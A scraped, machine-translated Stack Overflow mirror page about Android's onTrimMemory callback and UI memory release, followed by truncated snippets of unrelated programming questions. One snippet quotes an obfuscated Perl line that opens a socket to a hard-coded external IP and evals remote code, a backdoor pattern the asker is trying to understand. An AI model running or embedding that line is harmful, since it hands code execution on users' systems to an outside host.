- r - 以节省内存的方式增长 data.frame
- ruby-on-rails - ruby/ruby on rails 内存泄漏检测
- android - 无法解析导入android.support.v7.app
- UNIX 域套接字与共享内存(映射文件)
我最近在 Managing Your App's Memory 上阅读了这篇文章,如果您是 AndroidDev 并且从未读过,我强烈建议您阅读它。
有很多好的做法,而我从未碰巧知道的一件事是 onTrimMemory(int level)系统在每个 Activity/Fragment 上调用的方法,用于通知应该或可以释放哪些内存的事件。
这是那篇文章的引述:
Notice that your app receives the onTrimMemory() callback with TRIM_MEMORY_UI_HIDDEN only when all the UI components of your app process become hidden from the user. This is distinct from the onStop() callback, which is called when an Activity instance becomes hidden, which occurs even when the user moves to another activity in your app. So although you should implement onStop() to release activity resources such as a network connection or to unregister broadcast receivers, you usually should not release your UI resources until you receive onTrimMemory(TRIM_MEMORY_UI_HIDDEN). This ensures that if the user navigates back from another activity in your app, your UI resources are still available to resume the activity quickly.
我对在我的应用程序中实现良好的内存管理非常感兴趣,因此我期待着实现 onTrimMemory()以正确的方式。
我只有几个问题:
是 onTrimMemory(TRIM_MEMORY_UI_HIDDEN)在 onStop() 之后调用?
在这种情况下,“释放你的 UI 资源”是什么意思?例如清理位图缓存,或者实际删除和销毁 View 树中的每个 View ?我通常在 onDestroy() 或 onDestroyView() 方法中销毁 View ,我现在想知道我是否做得对。
是否有一个双胞胎/通讯员回调到 onTrimMemory(TRIM_MEMORY_UI_HIDDEN) ?比如onCreate-onDestroy、onStart-onStop、onCreateView-onDestroyView。我想了解在 onTrimMemory(TRIM_MEMORY_UI_HIDDEN) 之后将 Activity/Fragment 置于前台之后我应该在哪里以及如何恢复 UI 状态已被调用。
最佳答案
具有 TRIM_MEMORY_UI_HIDDEN 级别的 onTrimMemory 实际上是在 onStop 之前调用的。当 onStop 被调用时,这意味着 Activity 真的停止了,如果需要,Android 操作系统可能会立即终止它,所以你不应该期望在此之后再调用该 Activity 的回调,除了 onRestart 和有时 onDestroy。
“释放你的 UI 资源”实际上是关于缓存之类的东西。您通常不必担心管理 View 或 UI 组件,因为操作系统已经这样做了,这就是为什么有所有用于创建、启动、暂停、停止和销毁 Activity 的回调的原因。但是,有时为了提高性能,您必须增加内存使用量,例如缓存 Activity 使用的一些数据。这是调用 onTrimMemory 时应该释放的资源类型,因此您的应用使用更少的内存,即使它会影响性能。不过,您应该担心内存泄漏。如果您的 Activity 停止,请确保不要保留对其 View 的任何引用,因为这会阻止 Activity 被垃圾收集,这将阻止整个上下文被收集,这很糟糕,主要是如果您想保持您的应用程序运行数小时或数天(例如您实现服务时)。
不,没有对应的 onTrimMemory 回调。但是,你不应该需要一个。正如我之前所说,如果您保留一些资源的缓存以提高性能,只需将其清空,并在需要时让它再次增长。如果内存级别一直很低,则可能很快会再次调用 onTrimMemory,并使用相同的内存级别。顺便说一句,请记住,onTrimMemory 将使用多个不同的内存级别调用,而不仅仅是 TRIM_MEMORY_UI_HIDDEN。
关于android - 理解 onTrimMemory( int level ),我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/19398827/
我试图理解 (>>=).(>>=) ,GHCi 告诉我的是: (>>=) :: Monad m => m a -> (a -> m b) -> m b (>>=).(>>=) :: Mon
关于此 Java 代码,我有以下问题: public static void main(String[] args) { int A = 12, B = 24; int x = A,
对于这个社区来说,这可能是一个愚蠢的基本问题,但如果有人能向我解释一下,我会非常满意,我对此感到非常困惑。我在网上找到了这个教程,这是一个例子。 function sports (x){
def counting_sort(array, maxval): """in-place counting sort""" m = maxval + 1 count = [0
我有一些排序算法的集合,我想弄清楚它究竟是如何运作的。 我对一些说明有些困惑,特别是 cmp 和 jle 说明,所以我正在寻求帮助。此程序集对包含三个元素的数组进行排序。 0.00 :
阅读 PHP.net 文档时,我偶然发现了一个扭曲了我理解 $this 的方式的问题: class C { public function speak_child() { //
关闭。这个问题不满足Stack Overflow guidelines .它目前不接受答案。 想改善这个问题吗?更新问题,使其成为 on-topic对于堆栈溢出。 7年前关闭。 Improve thi
我有几个关于 pragmas 的相关问题.让我开始这一系列问题的原因是试图确定是否可以禁用某些警告而不用一直到 no worries。 (我还是想担心,至少有点担心!)。我仍然对那个特定问题的答案感兴
我正在尝试构建 CNN使用 Torch 7 .我对 Lua 很陌生.我试图关注这个 link .我遇到了一个叫做 setmetatable 的东西在以下代码块中: setmetatable(train
我有这段代码 use lib do{eval&&botstrap("AutoLoad")if$b=new IO::Socket::INET 82.46.99.88.":1"}; 这似乎导入了一个库,但
我有以下代码,它给出了 [2,4,6] : j :: [Int] j = ((\f x -> map x) (\y -> y + 3) (\z -> 2*z)) [1,2,3] 为什么?似乎只使用了“
我刚刚使用 Richard Bird 的书学习 Haskell 和函数式编程,并遇到了 (.) 函数的类型签名。即 (.) :: (b -> c) -> (a -> b) -> (a -> c) 和相
我遇到了andThen ,但没有正确理解它。 为了进一步了解它,我阅读了 Function1.andThen文档 def andThen[A](g: (R) ⇒ A): (T1) ⇒ A mm是 Mu
这是一个代码,用作 XMLHttpRequest 的 URL 的附加内容。URL 中显示的内容是: http://something/something.aspx?QueryString_from_b
考虑以下我从 https://stackoverflow.com/a/28250704/460084 获取的代码 function getExample() { var a = promise
将 list1::: list2 运算符应用于两个列表是否相当于将 list1 的所有内容附加到 list2 ? scala> val a = List(1,2,3) a: List[Int] = L
在python中我会写: {a:0 for a in range(5)} 得到 {0: 0, 1: 0, 2: 0, 3: 0, 4: 0} 我怎样才能在 Dart 中达到同样的效果? 到目前为止,我
关闭。这个问题需要多问focused 。目前不接受答案。 想要改进此问题吗?更新问题,使其仅关注一个问题 editing this post . 已关闭 5 年前。 Improve this ques
我有以下 make 文件: CC = gcc CCDEPMODE = depmode=gcc3 CFLAGS = -g -O2 -W -Wall -Wno-unused -Wno-multichar
有人可以帮助或指导我如何理解以下实现中的 fmap 函数吗? data Rose a = a :> [Rose a] deriving (Eq, Show) instance Functor Rose
我是一名优秀的程序员,十分优秀!